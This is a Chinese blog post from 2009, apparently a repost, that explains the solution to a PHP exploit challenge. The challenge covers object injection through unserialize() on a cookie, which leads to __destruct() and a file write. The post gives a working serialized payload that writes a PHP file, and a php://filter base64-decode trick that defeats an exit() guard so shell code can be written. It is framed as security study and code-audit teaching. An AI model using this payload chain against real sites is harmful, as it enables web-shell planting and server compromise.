關於[技術挑戰-2]轉載自黑哥

cnbird發表於2009-12-16

關於[技術挑戰-2]

一 背景

    此挑戰的題目是在學習Stefan
Esser的最近釋出的關於Unserialize()的那些漏洞公告和paper後產生的,在此之前對於Unserialize()引起的這一系列的應
用問題我也是一無所知的.學習後發現這型別的問題很多的應用程式存在,尤其是zend firework開發的一些程式,很值得學習,於是就有這個挑戰.

    在這之前我也在hi群也進行過類似的exp-me的小問題,如在<關於[PCH-002]>
的blog裡,就[SODB-2009-01] 的一個虛擬碼進行挑戰,由於那次的程式碼太過於直白然後提示很多,導致你用非技術手段就可以測試出結果,吸取上次的經驗,這次應該複雜一點,真實一點…

二 設計與挑戰

對於那些沒有看過Stefan Esser文章的朋友,這個exp-me.php裡`設計`了幾個看似非似的`漏洞`:
  
   1.利用unserialize()/serialize()的`編碼與解碼`的問題,這個是可以不受magic_quotes_gpc的影響,但是$session直接進了unset() 所以應該不是挑戰目標
  
2.$sessiondata陣列變數沒有初始化,可以直接提交$sessiondata[`user`]進入資料庫查詢導致`sql注射`,但
是$sessiondata[`user`]有單引號,而受magic_quotes_gpc的影響[當然在不考慮字符集等的一些問題下]
  
3.還是利用上面的$sessiondata[`user`],同時結合DB_MySQL類裡的halt()寫檔案,或者可以找到什麼漏洞,如果你很快就
會發現var
$logfile;根本就沒定義,所以預設根本沒有辦法寫檔案.[開始我是想定義個預設的檔名,然後把$filepath不定義,那樣更加逼真,但是那
樣可能太浪費挑戰者的時間了]
  
   在blog的回覆可以看的出來,確實很多人考慮了上面的一些問題,還有人開始懷疑exp-me.php的程式碼根本就是有問題的…..

   對與看過了Stefan Esser文章的朋友,其實也有一定的難度,因為在他的公告和文章裡都是沒有直接給出exp的分析也不是很詳細,對於這些朋友這個挑戰其實就提供了很好的demo,然後結合他的文章,也可以加強對這類漏洞型別的理解….

三 具體分析

首先我們要理解unserialize()/serialize()存在的意義,很多像我一樣的`指令碼小子`都是自學的半路出家的人,沒有參加過什
麼大型的php應用程式的開發,所以對於一些函式理解是不夠的,瞭解到某某函式的特性後,有著各種各樣的想法,而在nb的程式設計師眼裡,只有一種概念:`我
一直都是那麼用它來xxx的啊`.

php手冊裡:
[—————引用開始—————-]
serialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)

serialize — 產生一個可儲存的值的表示
描述
string serialize ( mixed value )

serialize() 返回字串,此字串包含了表示 value 的位元組流,可以儲存於任何地方。

這有利於儲存或傳遞 PHP 的值,同時不丟失其型別和結構。

想要將已序列化的字串變回 PHP 的值,可使用 unserialize()。serialize() 可處理除了 resource
之外的任何型別。甚至可以 serialize() 那些包含了指向其自身引用的陣列。你正 serialize() 的陣列/物件中的引用也將被儲存。

當序列化物件時,PHP 將試圖在序列動作之前呼叫該物件的成員函式 __sleep()。這樣就允許物件在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復物件時, 將呼叫 __wakeup() 成員函式。

注: 在 PHP 3 中,物件屬性將被序列化,但是方法則會丟失。PHP 4 打破了此限制,可以同時儲存屬性和方法。請參見類與物件中的序列化物件部分獲取更多資訊。

unserialize
(PHP 3 >= 3.0.5, PHP 4, PHP 5)

unserialize — 從已儲存的表示中建立 PHP 的值
描述
mixed unserialize ( string str [, string callback] )

unserialize() 對單一的已序列化的變數進行操作,將其轉換回 PHP 的值。返回的是轉換之後的值,可為 integer、float、string、array 或 object。如果傳遞的字串不可解序列化,則返回 FALSE。

[—————引用結束—————-]

也就是說serialize()可處理除了 resource 之外的任何型別為一個字串,在通過unserialize()轉換回來,我們再看看對object型別處理時說明:

[—————引用開始—————-]
當序列化物件時,PHP 將試圖在序列動作之前呼叫該物件的成員函式 __sleep()。這樣就允許物件在被序列化之前做任何清除操作。類似的,當使用 unserialize() 恢復物件時, 將呼叫 __wakeup() 成員函式。
[—————引用結束—————-]

也就是說當unserialize()恢復物件時,將自動執行__wakeup() 成員函式.這個就是unserialize()執行類的關鍵.下面我們看看ryat幫我寫的一個簡單的demo:

<?php

class ryat {
var $wzt;
function __wakeup() {
echo $this -> wzt;
}
}

$ryat = new ryat();
$ryat -> wzt = `hi`;

$ryat = serialize($ryat);
var_dump($ryat);

$ryat = unserialize($ryat);
//var_dump($ryat);

//$ryat = unserialize(`O:4:”ryat”:1:{s:3:”wzt”;s:2:”hi”;}`);
//var_dump($ryat);

?>

但是在Stefan Esser的公告裡提到的是__destruct(),我們繼續看手冊:

[—————引用開始—————-]

建構函式和解構函式
建構函式
void __construct ( [mixed args [, …]] )

PHP 5 允行開發者在一個類中定義一個方法作為建構函式。具有建構函式的類會在每次建立物件時先呼叫此方法,所以非常適合在使用物件之前做一些初始化工作。
….

為了實現向後相容性,如果 PHP 5 在類中找不到 __construct() 函式,它就會嘗試尋找舊式的建構函式,也就是和類同名的函式。因此唯一會產生相容性問題的情況是:類中已有一個名為 __construct() 的方法,但它卻又不是建構函式。

解構函式
void __destruct ( void )

PHP 5 引入了解構函式的概念,這類似於其它物件導向的語言,如 C++。解構函式會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行。
….

[—————引用結束—————-]

這個是php5才引進的一個函式,在某個物件的所有引用銷燬或者刪除是自動執行.

我們回到挑戰裡的程式碼exp-me.php:

include `mysql.php`;

$session = unserialize(stripslashes($_COOKIE[`_data`])); //測試方便可以修改為$_GET

isset($session)?$sessiondata:$session;
unset($session); //注意這個unset

unserialize()裡的引數可以任意提交,呼叫在mysql.php裡是class
DB_MySQL,再通過unset($session)後[補充一句在unset是對於exp-me而言,在其他的一些應用程式了這個漏洞的引數不
unset不是必須的,比如程式允許完php會自動登出], 自動執行DB_MySQL類裡的__destruct 函式:

    function __destruct() {
       echo $this -> close();
    }

很常見的處理,呼叫close():

function close() {
     $this->halt(`MySQL_Close()`);
   return mysql_close($this->link);
}

繼續跟halt():

function halt($msg =“, $sql=“){
   global $php_self,$timestamp,$onlineip;
  
   $sqlcontent = “<?PHP exit(`Access Denied`);
?>/t$timestamp/t$onlineip/t”.basename($php_self).”/t”.htmlspecialchars($this->geterrdesc()).”/t”.str_replace(array(“/r”,
“/n”, “/t”), array(` `, ` `, ` `), trim(htmlspecialchars($sql))).”/n”;
   file_put_contents($this->logfile, $sqlcontent);
  
   exit;
}

最後到file_put_contents($this->logfile, $sqlcontent);來寫檔案,那麼我們怎麼構造$_COOKIE[`_data`]這個提交給unserialize()的序列的字串呢?我們可以學習上面那個demo的方法:

<?php
include `mysql.php`;
$DB = new DB_MySQL;
$DB -> logfile = `hi.php`;
$ryat = serialize($DB);
var_dump($ryat);
?>

得到O:8:”DB_MySQL”:3:
{s:10:”querycount”;i:0;s:4:”link”;N;s:7:”logfile”;s:6:”hi.php”;}
當然你如果足夠了解它的結構的話,你可以直接構造 :). 通過提交上面的字串,在根目錄就生存了一個hi.php檔案,內容為<?PHP
exit(`Access Denied`); ?>

這裡我們重新看看__destruct()/__wakeup()這類函式,是不是還有其他的類似的函式可以自動執行呢?

同樣在php手冊裡找答案:

[—————引用開始—————-]
Magic Methods
The function names __construct, __destruct (see Constructors and
Destructors), __call, __get, __set, __isset, __unset (see Overloading),
__sleep, __wakeup, __toString, __set_state, __clone and __autoload are
magical in PHP classes. You cannot have functions with these names in
any of your classes unless you want the magic functionality associated
with them.
[—————引用結束—————-]

有興趣的朋友可以繼續分析下其他Magic Methods有沒有辦法利用? ?

上面的過程就是這個型別漏洞的產生的流程了…. 下面要解決的就是突破<?PHP exit(`Access Denied`); ?>問題,在Stefan Esser的漏洞公告裡提到了這個問題,那就是通過轉換過濾器來重寫這個php檔案:

<?php
//$shellcode=`PD9waHBpbmZvKCk7Pz4`;//<?phpinfo();?>
//$endstr=`s`; //對齊<?PHP exit(`Access Denied`); ?>/t的base64-decode的位數
//$timestamp=$endstr.$shellcode;
file_put_contents(“php://filter/write=convert.base64-decode/resource=ryat.php”,”<?PHP
exit(`Access Denied`); ?>/t$timestamp”);
?>
執行上面的程式碼,將<?PHP exit(`Access Denied`); ?>/t$timestamp經過base64-decode後為亂碼寫入ryat.php,然後我們通過提交$timestamp把我們shell的程式碼寫進去…

三 小結

   通過上面的分析我們可以總結2個型別的問題:
  
   1.unserialize()執行類導致的安全問題,是不是`漏洞`,主要取決於__destruct()/__wakeup()等Magic
Methods函式呼叫的可以完成什麼樣的功能,在php程式碼審計時策略是,查詢unserialize()和
__destruct()/__wakeup()等,然後具體去分析呼叫過程.
   2.流過濾器給檔案操作帶來的安全問題.這個問題以前就有表現,比如include呼叫流檔案,這裡又多了一個突破<?PHP exit(`Access Denied`); ?>等的方法.這個的前提是file路徑或者名稱可控.
  
   記得在<高階PHP應用程式漏洞稽核技術>一文的第6節裡:
  
[—————引用開始—————-]
    * 分析和學習別人發現的漏洞或者exp,總結出漏洞型別及字典。
    * 有條件或者機會和開發者學習,找到他們實現某些常用功能的程式碼的缺陷或者容易忽視的問題
[—————引用結束—————-]

這2條在本次挑戰的問題裡有著很好的體會.有心的朋友可以搜尋一下,你可以找到很多關於unserialize()執行類的問題如:http://be-evil.org/post-62.html

四 題外話

我開始以為只要有*60的地方就有口水,現在我發現錯了,只要有網路的地方就有口水.在本次挑戰出來之前,某人就和我說這樣會不會引起別人的bs
啊,因為這個問題最開始是別人提出來的.我說不應該把,而且有我也不怕,因為我習慣了….最後還談到了一個知不知好歹的問題,說實話我真不知道這個挑
戰裡有什麼`好歹`.

看官你知道不?

順便說下`老外牛x`的這個問題,我也承認`老外牛x`,我想全世界的人也應該承認,因為你在老外的眼裡也是老外.我是Stefan
Esser的fans,他是老外他牛x!
不知道那些經常用google翻譯看pst搞的那個planet集合的老外,有沒有`老外牛x`的感慨……………

五 參考

http://www.sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability/

http://www.suspekt.org/downloads/RSS09-WebApplicationFirewallBypassesAndPHPExploits.pdf

http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
          

updata:忙著編輯文章去了,忘記了一個重要的環節,那就是感謝大家的支援,尤其感謝ryat的討論和指教. thx!


相關文章